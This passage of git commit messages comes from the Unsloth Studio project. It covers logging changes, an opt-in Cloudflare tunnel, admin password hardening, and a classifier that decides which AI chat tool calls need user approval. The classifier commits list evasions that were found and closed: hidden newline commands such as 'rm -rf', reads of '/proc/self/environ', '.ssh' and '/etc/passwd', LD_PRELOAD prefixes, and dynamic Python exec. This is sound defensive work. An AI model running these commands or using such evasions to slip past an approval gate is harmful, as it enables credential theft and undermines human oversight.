mutations (POST/PUT/DELETE) still log; only their list-poll 2xx and the
transient pre-auth 401 are dropped.

Suppress /api/export/status 2xx only (move it out of the all-status exclude
set) so a 401/403/500 on it stays visible.

Legacy /api/models and /api/datasets download-progress polls emit no
hub_download_progress events, so heartbeat them via the 10s quiet-poll window
instead of suppressing outright, keeping download visibility (notably on
Linux). The event-emitting /api/hub download polls stay fully suppressed.

Update and extend the middleware tests to cover GET-only suppression, the
export-status error path, and the legacy download heartbeat.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten access-log and training-progress comments

Comment-only pass: collapse the multi-line explanations in the logging
middleware and the throttled training-progress logger to fewer lines while
keeping the rationale. No behavior change.

* studio: log structured export_progress phases

Emit a structured export_progress event per phase (consolidated in the server
log like training and download progress) instead of a plain status string, and
add a phase milestone at the start of the heavy export step so the
merge/save/convert is visible in the server log, not only in the forwarded
stdout panel.

* Studio: reset training-progress log throttle on each new run

start_training rebuilds the per-run progress state but left _last_progress_log_ts/_last_progress_log_step at their prior values. A run started within 30s of a previous one whose last logged step matched the new run's first step would hit the step == prev short-circuit and drop the promised first training_progress line, then stay suppressed until the old 30s window expired. Reset both fields when a new job is accepted.

* Studio: keep post-bootstrap chat 401s visible in the access log

The chat thread/project 401 suppression dropped every GET 401 on those prefixes, so a genuine expired-session 401 vanished alongside the transient pre-auth race. Gate the 401 drop on a per-middleware bootstrap latch that flips once /api/auth/refresh first succeeds: before that the 401s are the pre-refresh race and are suppressed; after it any chat 401 is a real failure and logs. Add a test for the post-refresh case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: limit chat access-log suppression to the exact list polls

The chat thread/project suppression matched by startswith, so it also dropped the 2xx access line for detail and message reads (/threads/{id}, /threads/{id}/messages, /threads/{id}/messages/{id}, /projects/{id}) that are not the high-frequency list polls, losing their access and latency logging. Match the two list paths exactly instead, so only the intended list polls (and their pre-auth 401 race) are suppressed while detail and message reads keep their access line. Add a regression test.

* Studio: reset inference load-progress throttle for each load

The load-progress throttle (_last_load_progress_step) is a module global that persisted across loads, so a cached or small load whose first sampled /api/inference/load-progress response already reported fraction=1.0 hit step == prev (10) from a prior completed load and emitted no inference_load_progress line, while that endpoint's access log is suppressed, leaving the new load with no progress signal. Arm the throttle at load initiation in _load_model_impl so each load's first step always logs. Add a regression test.

* Studio: tighten logging comments

Collapse a few verbose comments (tokenizer-parallelism note, torch_dtype filter, legacy download-poll heartbeat, chat list-path suppression) to fewer lines without changing intent or code.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 06:49:52 -07:00
Michael Han
162cf38586
Studio: remove the edge fades appearance setting (#7143)
The edge fades toggle in Settings > Appearance let users swap the panel
edge gradients for thin divider lines. It added little on top of the
default look, so this removes the setting and all of its wiring while
leaving the default edge fades in place.

- drop the edgeFades field, default, and no-edge-fades class from the
  appearance customization store
- remove the settings row, switch, and search entry
- drop the html.no-edge-fades rules from index.css and hub.css
- remove the edgeFades label and description from all locales
- drop the edgeFades field from the personalization backend model and
  its test references
2026-07-15 06:39:23 -07:00
oobabooga
5531347307
Studio: honor the 'none' gradient checkpointing option in training (#7128) 2026-07-15 10:19:20 -03:00
Leo Borcherding
91a0df9514
Studio: make the Cloudflare tunnel opt-in (off by default) (#7046)
* Studio: make the Cloudflare tunnel opt-in (off by default)

A wildcard bind (`-H 0.0.0.0`) auto-started a public trycloudflare.com
tunnel, so exposing Studio on the LAN also published it to the public
internet. Flip the default so the tunnel is opt-in.

- `--cloudflare` is now tri-state (Optional[bool], default None = off),
  mirroring the existing --enable-tools/--disable-tools handling. Pass
  --cloudflare to expose a public HTTPS link for a wildcard bind; --secure
  still implies the tunnel.
- --secure + --no-cloudflare is still rejected as a contradiction.
- Update the parent-command guard, re-exec forwarding, startup-banner
  wording, the colab comment, README, and tests.

* Studio: update installer/setup launch hints for opt-in Cloudflare

The post-install launch hints only mentioned --secure for a public link.
Now that the tunnel is opt-in, clarify that -H 0.0.0.0 exposes the raw
port on the LAN (not a public URL), and surface --cloudflare as the
explicit opt-in for a public HTTPS link (--secure keeps the raw port
private). Applied to install.ps1, install.sh, and studio/setup.sh.

* Studio: address review - keep cloudflare tri-state + harden run re-exec

Two review points from the bots:

- Gemini: keep `cloudflare` as Optional[bool] in run_server instead of
  casting None -> False, so the startup banner can distinguish "OFF (default)"
  (unset) from "OFF (--no-cloudflare)" (explicit). `_cloudflare_flag` and the
  banner branch now carry the tri-state.
- Codex (P1): `unsloth studio run` re-execs the studio venv's console script,
  which can be an older build whose --cloudflare defaulted on; omitting the
  flag let it re-enable the tunnel. That path now forwards the default polarity
  explicitly (--no-cloudflare, or nothing under --secure since --secure implies
  the tunnel). The plain `unsloth studio` path runs the same-version in-tree
  run.py (resolved via _find_run_py), so it keeps forwarding only an explicit
  polarity and still shows the accurate "(default)" banner.

Tests updated for the tri-state banner labels, the None gate cases, and the
new re-exec forwarding.

* Studio: forward --no-cloudflare on plain re-exec too (mixed install)

Codex follow-up: _find_run_py falls back to STUDIO_HOME/.../studio/backend/
run.py when the package copy is absent, so the plain `unsloth studio` re-exec
can land on an older run.py whose --cloudflare defaults on. Forward the default
polarity explicitly there too (--no-cloudflare, or nothing under --secure),
matching the run subcommand. The common in-venv launch skips the re-exec and
still shows the tri-state "(default)" banner.

* Studio: fix launch hint - --cloudflare needs the wildcard bind

Codex P3: the launch hint listed --cloudflare next to the loopback
`unsloth studio -p 8888` command, but the tunnel only starts for wildcard
binds, so `--cloudflare` alone on 127.0.0.1 does nothing. Show
`-H 0.0.0.0 --cloudflare` in the hints (install.ps1, install.sh,
studio/setup.sh) and clarify the same in the README.

* Studio: cross-platform masked terminal password prompt helper

Per-keystroke '*' echo (POSIX termios cbreak / Windows msvcrt.getwch),
backspace editing, Ctrl-C abort, EOF handling, confirmation loop with
re-prompt on mismatch or policy failure. Pure should_prompt gate for the
--secure/--cloudflare exposure paths.

* Studio CLI: force a terminal password change before public tunnel exposure

When a launch will start the Cloudflare tunnel (--secure, or --cloudflare on
a non-api-only wildcard bind) and the admin account still has its seeded
bootstrap password, prompt for a new password in the terminal (masked with
'*', confirmed, re-prompting until valid) before any re-exec or server
exists. The change is committed in the parent so it never crosses argv or
the environment and older studio-venv children see it immediately. Without
a terminal, warn and fall back to the backend bootstrap shutdown timer.
Mirrors backend update_password semantics in one transaction: rehash,
rotate the JWT secret, clear must_change_password, revoke refresh tokens,
drop the desktop secret, then remove the stale credential files.

* Studio: terminal password gate before the public tunnel (backend backstop)

Never publish a trycloudflare URL while the seeded admin password is
active: run_server now runs a terminal password-change gate after the
tunnel decision and strictly before start_studio_tunnel. Interactive
refusal fails closed (shutdown + exit 1, mirroring the secure gate);
without a tty it warns and keeps the bootstrap deadline. Success applies
the same effects as the change-password route (update_password +
revoke_user_refresh_tokens) and drops the stale
app.state.bootstrap_password. MIN_PASSWORD_LENGTH centralised in
auth/storage.py and referenced by the HTTP schema. terminal_prompt.py
carries the pure gate helper (interactive loop stubbed; supplied by the
masked-input module). Also migrates the studio/setup.ps1 launch footer
that still showed the bare wildcard hint.

* README: reconcile remote-access section with opt-in Cloudflare tunnel

* Studio: harden the terminal password gate after review

- run.py: run the gate BEFORE the uvicorn socket binds. On a wildcard
  --cloudflare launch the served HTML injects the bootstrap credential
  for first login, so a pre-gate listener would hand the default
  password to anyone who reaches the raw port while the operator is
  still typing. The gate now also seeds the admin row itself (it can
  run before lifespan startup).
- Headless launches that nothing would protect now fail closed: the
  bootstrap deadline never arms for api-only serving and
  UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0 disables it, so warn-and-proceed
  would have promised a shutdown that never comes. Both the CLI and the
  backend refuse to publish in that case; the ordinary headless path
  still warns and relies on the 1h deadline, and no longer auto-fills
  the default credential into HTML served on a public URL.
- storage.update_password gains revoke_refresh_tokens to delete the
  user's refresh tokens in the SAME transaction as the password commit;
  the change-password route and the backend gate use it (a separable
  follow-up delete could fail after the commit and leave a stale
  refresh token able to mint access tokens under the rotated secret).
- clear_bootstrap_password is best-effort: a locked/undeletable file
  must not surface as a failed password change.
- CLI masked reader: disable ISIG like the backend so Ctrl-Z cannot
  suspend the process with the shared terminal stuck in no-echo mode;
  handle Ctrl-C/Ctrl-Z as characters; treat stream EOF mid-line as an
  abort instead of submitting a partial password. Both readers restore
  terminal attrs from a SIGTERM/SIGHUP handler since a finally block
  cannot run when a default-disposition signal terminates the process.
- Backend reader: decode byte-at-a-time through an incremental UTF-8
  decoder so multi-byte characters split across read boundaries are no
  longer dropped; isatty checks tolerate closed/None streams.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: persist bootstrap suppression through lifespan startup

The pre-bind password gate nulled app.state.bootstrap_password, but the
FastAPI lifespan runs after it and re-reads the bootstrap password into
app.state on both admin paths, so a headless public launch could still
serve the injected credential in HTML. Carry a persistent
suppress_bootstrap_injection flag that the lifespan honors instead.

Also drop the quoted Tuple annotation on _terminal_password_gate that
tripped the import-hoist lint (the typing import looked unused).

* Studio CLI: keep the pre-exec auth DB private (0700 dir, 0600 db)

On a fresh install the pre-exposure password gate creates auth/ and
auth.db through the CLI before the backend ever runs, and
sqlite3.connect leaves the DB 0644 under a 022 umask. Mirror backend
storage.get_connection's chmod so the committed password hash and JWT
secret are never world-readable, even if the launch aborts before the
backend applies its own modes.

* Tighten pre-exposure password gate comments

* Studio: delete seeded bootstrap password before headless public re-exec

The headless warn-and-proceed path returns with the default admin
password still active, then re-execs a child Studio process. An old
studio-venv child (mixed-version install) predates the pre-bind gate and
its injection-suppress flag, so its lifespan reads .bootstrap_password
and injects the seeded credential into the public HTML for up to the
bootstrap deadline. A CLI-flag handshake cannot fix this uniformly: the
studio run path uses ignore_unknown_options and an old in-venv child
runs in-process, so it would never reject the flag.

Delete the seeded .bootstrap_password file in the parent before re-exec
so a fresh child of any version reads None and never serves it. This
covers both re-exec paths and both child versions. must_change_password
stays set, so the login page still forces a change and the bootstrap
shutdown timer still arms; only the plaintext-on-disk copy is removed.
Recovery is via a terminal-attached run or reset-password. Backend gate
and CLI warnings updated to match.

* Studio: commit the seeded admin before headless public re-exec

The headless-warn path deletes the seeded .bootstrap_password so a
re-exec'd child cannot inject it, but _ensure_cli_default_admin's INSERT
was never committed and rolled back on conn.close(). On a fresh
STUDIO_HOME an old studio-venv child then found no admin, regenerated a
fresh bootstrap password + file, and injected THAT into the public page,
defeating the deletion.

Commit the seeded admin right after _ensure_cli_default_admin so any
re-exec'd child sees the existing account and does not regenerate.
Regression tests cover both re-exec paths on a fresh (unseeded) DB.

* Studio: fail closed when the bootstrap password file cannot be removed

On the headless public path, deleting .bootstrap_password is the
protection against an old re-exec'd child injecting the seeded
credential. If unlink fails (locked file, read-only auth dir) the file
is still on disk, so warning and proceeding would still leak it for the
bootstrap-timeout window. Abort with a clear error instead. Regression
test covers the unlink-failure fail-closed path.

* Studio: hold no-echo for the whole password line, not per keystroke

The POSIX masked reader set cbreak/no-echo inside _getch_posix and restored
the terminal to echo-on in a finally after every single keystroke, because
_read_password calls _getch once per character. Between one char returning and
the next call re-entering cbreak, ECHO was on, so a keystroke arriving in that
window echoed the password in cleartext.

Move the terminal mode into a _prompt_raw_mode context that _read_password
holds around the entire line (mirroring unsloth_cli/commands/_password_prompt.py,
which already did this), restoring once when the line completes or aborts.
_getch_posix now only reads, since the mode is held by the caller. The context
is a no-op when stdin is not a real terminal, keeping the _getch test seam.

Add a regression test asserting the raw-mode context wraps the read exactly
once and every keystroke is read while it is active.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strip the seeded bootstrap password when the auth DB check fails

The pre-exposure gate returned early on two auth-DB inspection failures and
proceeded to re-exec without removing the seeded .bootstrap_password:

- _connect_auth_db() failure: a seeded credential from a prior run may still
  be on disk.
- the must_change_password read-back failure: worse, _ensure_cli_default_admin
  had already seeded the admin and the code committed it (writing
  .bootstrap_password) right before the failing SELECT.

In the mixed-version case (a new outer CLI re-execing an old studio-venv child
that predates the pre-bind gate), that child would read the file back and
inject the default admin credential into the public Cloudflare page. The
sibling headless branch already deletes the file for exactly this reason, so
these returns were an inconsistent gap.

Factor the delete-or-fail-closed logic into
_strip_seeded_bootstrap_password_or_exit and call it on both inspection
failures (and reuse it in the headless branch): strip the seeded file first
(version-independent protection), failing closed if the removal itself fails.
must_change_password stays set, so the login page still forces a change and the
bootstrap shutdown timer still arms.

Add tests for both new paths (connect failure and post-commit read-back
failure strip the file and proceed; a failed strip fails closed).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fail closed when the seeded admin cannot be committed before exposure

The pre-exposure gate wrapped _ensure_cli_default_admin (the INSERT), its
conn.commit(), and the must_change_password read-back in one try, and the
except recovered by stripping .bootstrap_password and proceeding to re-exec on
the assumption the admin was already committed. That assumption only holds when
the failing statement is the SELECT. When the INSERT or the commit itself fails
(e.g. a write lock held past the busy timeout on a fresh install), no admin row
is committed: it rolls back on conn.close(), and a re-exec'd old studio-venv
child (no pre-bind gate) then finds no admin, regenerates a fresh bootstrap
password + file, and serves that default credential on the public Cloudflare
page. Stripping the file cannot stop a regeneration.

Split the seed+commit into its own try that fails closed (refuse the public
launch, best-effort removing any half-written seed file) since we cannot prove a
committed admin; keep the separate read-back failure on the strip-and-proceed
path, where the admin is committed so an old child finds it and will not
regenerate. Add a test for the seed-commit-failure path.

* Studio: decode the CLI masked password reader with errors="replace"

The CLI reader read keystrokes with text-mode sys.stdin.read(1), which raises
UnicodeDecodeError on a pasted non-UTF-8 password (e.g. Latin-1 bytes), or under
PYTHONUTF8 yields a lone surrogate that later crashes the pbkdf2 encode -- either
aborts the launch with a traceback. The backend mirror (terminal_prompt.py)
already reads raw bytes through an incremental decoder with errors="replace".
Mirror that here: read with os.read and an incremental decoder so invalid bytes
map to U+FFFD, iterating over each emitted char (one byte can complete a
replacement plus the next char).

* Studio: resolve the child launcher before the pre-exposure gate

The gate strips the seeded .bootstrap_password on a headless public launch, and
it ran before the re-exec launchability check (studio venv / run.py / console
script present). So a headless launch with an incomplete studio setup would seed
the admin, delete the bootstrap password, then abort because the child could not
be found, leaving the admin at must_change_password=1 with no password ever
shown or injectable: locked out until `unsloth studio reset-password`.

Resolve and validate the child launcher first, in both `studio` (studio_default)
and `studio run`, and only then run the gate, so an unlaunchable setup exits
before anything is stripped. Add a regression test that a missing venv exits
without removing the seeded file.

* Studio: fail closed when the auth DB cannot be opened before exposure

The connect-failure branch of the pre-exposure gate stripped .bootstrap_password
and proceeded, on the assumption a committed admin from a prior run made an old
child find it and not regenerate. But on a fresh public launch whose
_connect_auth_db() itself fails (transient lock during the schema/seed step, or
an unwritable home), no admin is committed, so a mixed-version re-exec child that
predates the backend gate can find no user, generate a fresh bootstrap password,
and serve it on the public Cloudflare page. Stripping a file we cannot vouch for
cannot stop a regeneration.

Make this branch fail closed like the seed/commit failure path: we only continue
past the DB inspection once a committed admin is confirmed. The existing file is
left untouched so a retry (after a transient lock clears) can still prompt.

Update the connect-failure test to assert fail-closed, and give the in-venv
--secure flag test a real STUDIO_HOME with an already-changed admin so the gate
is a no-op rather than relying on a DB-open failure.

* Studio: invalidate seeded bootstrap files before deleting auth.db on reset

reset-password deleted auth.db first, then best-effort unlinked the seeded
.bootstrap_password and desktop secret. unlink() only ignores
FileNotFoundError, so a locked or read-only file (Windows AV, read-only auth
dir) survived while auth.db was gone. The next server start then re-seeded
from that stale plaintext and re-validated the exact credential the reset was
meant to revoke.

Invalidate the credential files first, truncating any that cannot be
unlinked, then delete the DB, so a surviving file can never carry a reusable
secret. clear_bootstrap_password now truncates on unlink failure for the same
reason, and its warning says the contents were cleared rather than claiming
the stale password is already invalid.

* Studio: require a servable frontend before the pre-exposure gate can strip the seeded password

A headless public launch strips the seeded .bootstrap_password before the
re-exec'd child starts. If the child then cannot serve the login page (the only
in-band way to change the seeded password) the admin is locked out
(must_change_password=1, no file, no UI) until reset-password.

Add _require_servable_frontend_or_exit and call it before the gate on both
`unsloth studio` and `unsloth studio run` public launches: fail closed if a
non-api-only public launch has no built frontend dist, before anything is
stripped. A user-supplied --frontend is validated to contain index.html so a
bad path cannot silently bypass the check; an auto-resolved dist is trusted
(_find_frontend_dist already requires index.html) and forwarded to the child.

Model-load aborts on `studio run` remain a residual: the parent must strip for
mixed-version safety (an old studio-venv child has no pre-bind gate) and model
loadability cannot be proven before exec, so that path stays recoverable via
reset-password.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden reset-password ordering and validate the in-venv backend before the strip

Three follow-ups to the pre-exposure hardening:

reset-password now deletes auth.db FIRST and proves it is gone before touching
the seeded credential files. If the DB cannot be removed (a running Studio or
Windows holds it open, or a read-only auth dir) it aborts with the credential
files untouched, so a forgotten-password reset is not left half-done with the
recovery credentials deleted while an un-resettable must_change_password=1 DB
survives. After the DB is gone it invalidates the stale credential files
(unlink, else truncate) and fails closed if a file can be neither removed nor
truncated, since a surviving plaintext would be re-seeded by
generate_bootstrap_password() and re-validate the revoked password.

The in-venv (in-process) launch path had no analogue of the re-exec launcher
check: a headless public launch would seed the admin and strip the seeded
.bootstrap_password in the gate before _load_run_module() later failed on a
broken/partial venv, leaving must_change_password=1 with no password to log in.
Add _validate_inproc_backend_before_strip, called on the in-venv path (both
`unsloth studio` and `unsloth studio run`) before the gate on the headless
public path, so a broken backend fails cleanly before anything is stripped. It
is scoped to the headless path so an interactive prompt is not delayed behind a
full backend import.

* Studio: validate the frontend and tunnel before the strip on every public path

Five follow-ups closing the remaining pre-exposure-strip lockouts:

The in-venv (in-process) paths of both `unsloth studio` and `unsloth studio
run` validated the backend but not the frontend before the gate, so a headless
public launch with a missing/bad dist would strip the seeded .bootstrap_password
and then abort in run_server() during frontend setup, leaving
must_change_password=1 with no login page. Both now validate a servable frontend
before the strip (cheap check first, backend import after) and serve the
resolved dist in-process.

The `studio run` re-exec discarded the dist that satisfied the pre-strip check
and only forwarded a user-supplied --frontend. In a shadowed install where the
parent finds a built dist the child cannot, it stripped and exec'd without the
path, and the child aborted during frontend setup. It now forwards the resolved
dist, matching `unsloth studio`.

On a headless --secure launch the bind is loopback, so the Cloudflare tunnel is
the only public exposure. If cloudflared is provably unavailable (found nowhere
and undownloadable) the tunnel cannot start, so stripping the recovery
credential would just lock the user out with no public URL ever served. Add
_tunnel_binary_confirmed_unavailable and, on --secure only, refuse the launch
with the credential preserved rather than strip. Wildcard --cloudflare binds
0.0.0.0 publicly regardless of the tunnel, so it still strips; any uncertainty
(helper not loadable) also still strips, since a possible credential leak
outweighs a recoverable lockout.

clear_bootstrap_password no longer claims it cleared the file's contents when
both unlink and truncate failed; it now reports the stale password is still on
disk and asks the user to remove it manually.

* Studio: fix cloudflared probe path and skip the bootstrap strip for a self-suppressing child

Two follow-ups to the --secure pre-exposure hardening:

The cloudflared availability probe loaded cloudflare_tunnel by file path but not
its backend deps: ensure_cloudflared() -> _cache_path() lazily imports
utils.paths.storage_roots, which only resolves when studio/backend is on
sys.path. From the outer CLI it is not, so the probe saw ensure_cloudflared()
return None (cache unresolvable) and wrongly treated the tunnel as unavailable,
refusing --secure even when cloudflared was cached or downloadable. Add the
backend dir to sys.path for the probe (and remove it after) so the cache path
resolves as it will in the child.

A headless --secure launch stripped the seeded .bootstrap_password before the
child proved the tunnel could actually connect, so a cloudflared that is present
but cannot establish the tunnel (blocked connectivity, Cloudflare outage) left
must_change_password=1 with no recovery credential. But the strip is only needed
when the re-exec'd child is an OLD studio-venv backend with no pre-bind
suppression: this install's own run.py sets app.state.suppress_bootstrap_injection
before binding and never serves the seeded credential publicly. Add
_child_self_suppresses (true in-process, or when the re-exec target is this
install's own run.py by path identity) and skip the strip in that case, keeping
.bootstrap_password as a local recovery credential; the strip stays fully in
force for the studio-venv console-script path and any venv-fallback run.py, where
an old child is actually possible.

* Studio: reword the pre-exposure terminal password prompt

* Studio: warn when -H is overridden by --secure; align pre-exposure prompt wording

- --secure/--secure run: emit a Note (not an error) when -H is a non-loopback
  host, since --secure forces the loopback bind and would otherwise discard -H
  silently.
- Reword the pre-exposure terminal prompt to 'exposed on the public internet'
  in both the backend gate and the CLI mirror.
- Align the CLI success line with the backend ("Password updated for '<user>'.").
- Tests for the new -H warning (present when overridden, absent on loopback).

* Studio: add non-interactive --password to set the initial admin password

Headless hosts (CI, containers, systemd units) have no TTY, so the forced
first-exposure password change could not be completed unattended. Add a
non-interactive way to set the INITIAL admin password before the server binds:

- --password <value>, the UNSLOTH_STUDIO_PASSWORD env var, or --password -
  (read one line from stdin). Off by default; unset falls back to the normal
  interactive terminal prompt / browser setup.
- Applies on any launch (public --secure/--cloudflare or a headless -H 0.0.0.0
  bind), only when the account still has its seeded bootstrap password. An
  already-set password is a hard error, never an override; an invalid value
  (too short, or equal to the bootstrap) fails closed before bind.
- The CLI applies the change in the parent, never forwards --password to the
  re-exec child, and strips UNSLOTH_STUDIO_PASSWORD from the child env so the
  secret never crosses to the child. run.py does the same on the direct path and
  strips the env var so spawned subprocesses (cloudflared, llama-server, tools)
  cannot inherit it.

Mirrors resolve_supplied_password across the CLI and backend, documents the
option in the README (including the argv-visibility caveat), and covers all
flows (env/stdin/literal, fail-closed cases, no-forward, env-strip,
reset-password roundtrip) in the CLI, backend, and unit suites.

* Studio: truncate the stale bootstrap file when unlink fails on a CLI password change

The post-change cleanup in _cli_update_password only warned when
.bootstrap_password could not be unlinked but was still writable (locked file,
read-only auth dir), leaving the old plaintext on disk. If auth.db is later
reset or removed, generate_bootstrap_password() reads that file back and
re-validates the revoked bootstrap password. Truncate the file on unlink
failure so its stale plaintext cannot be re-seeded, mirroring the backend
clear_bootstrap_password(); the password change is already committed, so this
never rolls it back. The warning now states truthfully whether the contents
were cleared or the file must be removed manually.

* Studio: tighten comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 06:13:25 -07:00
Michael Han
e1e38419df
Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access) (#7079)
* Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access)

Replace the Bypass permissions on/off toggle with a four level permission
selector, available in Settings > General (new Permissions section above
Notifications), the chat settings panel, the composer plus menu, and a new
always visible composer pill.

Levels:
- Ask for approval: every local tool call pauses for allow/deny.
- Approve for me: only calls detected as potentially unsafe pause; the
  python/terminal sandbox stays on.
- Off: never pauses; sandbox stays on (previous default behavior).
- Full access: never pauses and the sandbox is disabled. Still requires
  the danger confirmation and is never restored across reloads.

Backend adds permission_mode to the OpenAI compatible and Anthropic
passthrough payloads and threads it through both tool loops. Auto mode
uses a fail closed classifier in tools.py: terminal commands must be on
a read only allowlist with no redirection or substitution, python code
is AST scanned for writes, exec, process and network use, MCP tools
auto run only with read only style names. Unknown tools always ask.

Legacy bypass_permissions and confirm_tool_calls keep their exact
behavior for existing API callers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio permissions: Off is a plain toggle below Full access

Off moves to the bottom of the level menu with a short description and
acts as the feature-off state: the composer pill is hidden entirely
while Off, and reselecting the active level toggles back to Off.

* Studio permissions: higher contrast composer pill text

The permission pill uses a foreground based grey instead of the shared
muted pill color, so it reads darker in light mode and lighter in dark
mode. Full access keeps the danger yellow.

* Studio permissions: panel dropdown layout and shorter tooltip

Chat settings panel: the Bypass permissions label sits on one line with
a full width dropdown underneath, styled like the other panel selects.
Tooltip shortened and wording uses Unsloth instead of Studio.

* Studio permissions: harden auto-mode unsafe detection

Extend the Approve for me classifier to catch write and exec paths that
slipped through:
- terminal: sort -o, tree -o, xxd -r, find -exec/-execdir/-ok/-delete
  and find -fprint/-fprintf/-fls now ask; plain read-only forms still
  auto-run. awk is no longer allowlisted since its program can write and
  call system().
- python: from-imports of mutating names (from os import remove [as rm])
  and star imports now ask.

Found by a fuzz and edge-case simulation matrix; pinned in
test_permission_mode.py.

* Studio permissions: split multi-line terminal commands in auto detection

A shell runs each line as its own command, but shlex reads newlines as
whitespace, so "ls\nrm -rf x" demoted rm to argument position and
auto-ran. Normalize newlines and CR to separators, and treat any all
separator token as a command boundary so runs of blank lines still
split. Found by the simulation matrix; pinned in tests.

* Studio permissions: address review feedback on auto-mode detection

Auto-mode (Approve for me) safety classifier hardening:
- Python: flag any reference to a mutating attribute, not only direct
  calls, so indirect refs (f = os.remove; f(x)) and aliases ask. Detect
  Path.open(mode) write modes and wrap the AST walk to fail closed.
- Terminal: match attached short output flags (sort -o/tmp/out) and keep
  find context across grouping parens so find ( -delete ) asks.
- Both: ask before reads that escape the sandbox workdir via parent
  traversal or hit credential paths (.ssh, .aws, id_rsa, .pem, etc.).

permission_mode plumbing:
- Fold permission_mode=full into bypass_permissions at the request model
  so route-level confirm-gate guards see it as bypass.
- Reject ask/auto on the Anthropic Messages server-tools path, which has
  no confirmation channel (mirrors the confirm_tool_calls rejection).
- Keep forced RAG autoinject in auto mode: the safe search_knowledge_base
  retrieval never gates, so derive the skip from the real confirm need.
- Reset all local preferences now also clears the legacy confirm key so a
  reset restores the fresh default instead of the old level.

Regression tests added for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio permissions: close auto-mode classifier gaps from review round 2

Auto mode ("Approve for me") let a few mutating calls through as safe:

- os.open(...) always creates/writes a descriptor, so treat it as unsafe
  even though builtin open in read mode stays safe.
- fd -x/--exec/-X/--exec-batch runs a command per match; scan for these
  alongside find's -exec/-delete.
- tempfile writes artefacts and hands back writable handles, so importing
  it now asks.
- Calling the result of a call (getattr(os, "remove")("x"), partials) is a
  dynamic target the AST can't vet, so fail closed.
- An MCP tool whose name pairs a read verb with a mutating one
  (get_or_create_issue, read_and_delete_file) no longer auto-runs on the
  read prefix alone.

Also fold permission_mode="off" into confirm_tool_calls=False on both
request models so the non-stream route guard sees the disabled gate, and
drive the Confirm tool calls toggle off permission_mode="ask" so auto no
longer shows it on.

* Harden auto-mode classifier and normalize bypass to full for PR #7079

Approve for me now asks for a few cases it previously auto-ran:
- os.open via an os alias (import os as o; o.open(path, O_CREAT))
- pathlib symlink_to / hardlink_to / link_to
- importlib.import_module dynamic imports
- os.mkfifo / os.mknod / os.utime

Also fold bypass_permissions into full when a stale ask/auto permission_mode
is sent alongside it, so the Anthropic route guard no longer 400s those legacy
callers. Adds classifier and request-model regression tests.

* Close more auto-mode classifier gaps for PR #7079

Approve for me now asks for cases the review surfaced:
- builtin open aliased to a name (f = open; from builtins import open as w)
  or looked up dynamically (globals()['open'])
- pickle / marshal / shelve / dill deserialization
- io.FileIO write handles
- sort --compress-program (runs an external program)
- MCP names carrying save/archive/submit/commit/push/sync/register verbs

Also refine the attribute open() write check so an explicit read mode
(ZipFile.open(name, "r")) stays auto while os.open flags still ask. Adds
test coverage for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close three more auto-mode gaps for PR #7079

- rg runs an arbitrary program per file via --pre / --hostname-bin, so
  "Approve for me" now asks for those flags (rg is on the read-only
  allowlist).
- A path-qualified command token (./ls, /tmp/cat) is an arbitrary
  executable, not the trusted utility its basename matches, so it asks
  before running.
- A direct /chat/completions caller that sets permission_mode ask/auto
  but omits the legacy confirm_tool_calls flag now self-enables the
  confirmation gate, so tools can no longer run ungated on that path.

Adds classifier and request-model tests for each case.

* Close auto-mode classifier gaps from review round 3 for PR #7079

Approve for me now asks for cases the latest pass surfaced:
- short-option clusters bundling a write flag (sort -uo out => -u -o)
- procfs reads that leak a process env/args/memory
  (cat /proc/self/environ, /proc/PID/cmdline, maps)
- env-assignment prefixes that change command lookup/loading
  (LD_PRELOAD=x ls, PATH=. ls, IFS=x ls); benign FOO=1 cmd stays auto
- os.open imported as a bare callable (from os import open as o)

Also drops ps from the safe terminal allowlist: its BSD environment
flags (ps auxe, ps eww) dump a parent process's unscrubbed env and
cannot be flag-parsed reliably, so ps always asks now. Adds classifier
tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 4 for PR #7079

Terminal (Approve for me now asks for these):
- cd dropped from the safe allowlist: cd /; cat etc/passwd moves the
  shell out of the session workdir so a later relative read escapes it
- env -C/--chdir (workdir escape) and -S/--split-string (builds a fresh
  command line); wrapper flags are now checked
- /etc//passwd and /etc/./passwd normalize to /etc/passwd before the
  sensitive-path scan
- a sensitive path split across an assignment and an argument
  (p=/etc; cat $p/passwd) via best-effort NAME=value expansion

Python:
- builtins.exec / builtins.eval attribute calls (dynamic code execution)
- destructured open aliases (f, _ = (open, print); f('out', 'w'))
- a sensitive path composed from literals (os.path.join('/etc','passwd'),
  '/etc' + '/passwd')
- ZipFile/TarFile write modes (ZipFile(name, 'w')); the reader stays auto

Adds classifier tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close auto-mode classifier gaps from review round 5 for PR #7079

Terminal (Approve for me now asks for these):
- procfs reads hidden by shell quotes (cat /proc/$PPID/enviro''n) or
  quoted/nested-variable assignments (p="/proc/$PPID"; cat $p/environ):
  quotes are stripped and NAME=value prefixes expanded before the scan
- LESSOPEN/LESSCLOSE, which make less run an input preprocessor command

Python:
- os.chdir / os.fchdir, which move the cwd so a later relative read
  escapes the sandbox workdir
- sensitive paths composed via a pathlib / chain (Path('/etc') / 'passwd')
  or an f-string of literals (f'/proc/{pid}/environ')
